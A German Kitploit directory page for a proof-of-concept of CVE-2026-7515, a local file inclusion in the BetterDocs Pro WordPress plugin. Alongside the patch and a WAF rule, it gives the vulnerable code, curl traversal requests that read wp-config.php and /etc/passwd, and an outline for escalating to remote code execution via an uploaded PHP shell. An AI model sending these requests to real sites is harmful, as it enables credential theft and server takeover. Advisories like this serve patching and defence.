Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
By-Poloss..-..CVE-2026-7515-PoC — Unauthentifizierte lokale Dateieinbindung | Kitploit
Tools/GitHubGitHub/polosss/by-poloss..-..cve-2026-7515-poc
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubpolosss/by-poloss..-..cve-2026-7515-poc

By-Poloss..-..CVE-2026-7515-PoC

Unauthentifizierte lokale Dateieinbindung

Repository anzeigen
14vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-7515: BetterDocs Pro <= 3.8.0 – Nicht authentifizierte lokale Dateieinbindung

Überblick

FeldWert
CVE-IDCVE-2026-7515
CVSS-Score9.8 (Kritisch)
CVSS-VektorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
BetroffenBetterDocs Pro <= 3.8.0
Gepatched3.8.1
ForscherNguyen Ngoc Duc (duc193)
Veröffentlicht18. Juni 2026
CWECWE-98: Unzureichende Kontrolle des Dateinamens für Include/Require-Anweisung

Beschreibung der Schwachstelle

Das BetterDocs Pro-Plugin für WordPress ist anfällig für lokale Dateieinbindung in Versionen bis einschließlich 3.8.0 über den Parameter doc_style. Dadurch können nicht authentifizierte Angreifer beliebige PHP-Dateien auf dem Server einbinden und ausführen.

Taint-Analyse: Quelle → Senke

Quelle (Benutzereingabe)

Datei: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Zeile: 141

root@kitploit:~
// VERWUNDBARER CODE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Problem: Eine vom Benutzer gesteuerte Eingabe aus $_POST['doc_style'] wird ohne Validierung direkt verwendet.

Senke (Gefährliche Funktion)

Datei: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Zeile: 195

root@kitploit:~
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

Problem: Die Variable $doc_style (benutzergesteuert) wird direkt in den Dateipfad interpoliert, der an views->get() übergeben wird, was die Datei einbindet.

Datenfluss

root@kitploit:~
HTTP-POST-Anfrage
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
KEINE VALIDIERUNG (verwundbare Version 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
Dateieinbindung via include() oder require()
        ↓
Beliebige PHP-Codeausführung / Dateilesen

Diff: Verwundbar vs. Gepatched

Verwundbare Version 3.8.0

root@kitploit:~
// Zeile 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Gepatchte Version 3.8.1

root@kitploit:~
// Zeilen 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Hauptunterschiede

AspektVerwundbar (3.8.0)Gepatched (3.8.1)
ValidierungKeineWhitelist mit in_array()
Zulässige WerteBeliebige ZeichenketteNur doc-grid, doc-list, doc-list-2
TypüberprüfungNeinStrikter (===) Vergleich

Betroffene AJAX-Endpunkte

Beide Endpunkte registrieren sich mit nopriv-Hooks, was bedeutet, dass sie für nicht authentifizierte Benutzer zugänglich sind:

root@kitploit:~
// Zeile 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// Zeile 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

Endpunkte:

  1. POST /wp-admin/admin-ajax.php?action=load_more_docs_section
  2. POST /wp-admin/admin-ajax.php?action=load_more_docs

Proof of Concept

Voraussetzungen

  • Gültiges encyclopedia_nonce (im Quelltext von Seiten mit dem BetterDocs Encyclopedia-Block zu finden)

Manuelle Ausnutzung

root@kitploit:~
# Schritt 1: wp-config.php lesen
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# Schritt 2: /etc/passwd lesen
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

Finden des Nonce

Der encyclopedia_nonce wird in JavaScript auf Seiten verfügbar gemacht, auf denen der BetterDocs Encyclopedia-Block gerendert wird:

root@kitploit:~
// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- Das ist es, was Sie brauchen
};

LFI zu RCE-Pfad

  1. wp-config.php lesen – Datenbank-Anmeldeinformationen extrahieren
  2. PHP-Shell hochladen – Über WordPress-Medien-Upload oder Theme-Editor
  3. Böswillige Datei einbinden – Über LFI-Schwachstelle
  4. Code ausführen – Entfernte Codeausführung erlangen

Auswirkungen

AuswirkungstypSchweregradBeschreibung
VertraulichkeitHOCHBeliebige Dateien lesen (wp-config.php, /etc/passwd usw.)
IntegritätHOCHDateien ändern oder löschen
VerfügbarkeitHOCHDenial-of-Service
AngriffsvektorNetzwerkRemote ausnutzbar
BerechtigungenKeineKeine Authentifizierung erforderlich
BenutzerinteraktionKeineNicht erforderlich

Behebung

Primäre Lösung

Aktualisieren Sie auf BetterDocs Pro Version 3.8.1 oder höher

Manuelle Lösung (falls Update nicht möglich)

Wenden Sie den folgenden Patch auf includes/Core/Encyclopedia.php an:

root@kitploit:~
// Ersetzen Sie Zeile 141 durch:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Wenden Sie die gleiche Lösung auf Zeile 236 an.

WAF-Regeln (vorübergehende Abschwächung)

Fügen Sie eine Regel hinzu, um Pfad-Traversierung im Parameter doc_style zu blockieren:

root@kitploit:~
# Blockiere doc_style mit Pfad-Traversal-Mustern
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'LFI Versuch blockiert'"

Referenzen

  • Wordfence Intelligence
  • BetterDocs Offiziell
  • CVE Details
  • WPVDB

Analysierte Dateien

root@kitploit:~
Verwundbare Version: betterdocs-pro_3.8.0.zip
Gepatchte Version:   betterdocs-pro_3.9.0.zip

Wichtige Dateien:
- includes/Core/Encyclopedia.php    (VERWUNDBAR)
- includes/Core/Scripts.php         (Enthält Nonce-Erzeugung)
- includes/Utils/Views.php          (Dateieinbindungslogik)
Tool herunterladen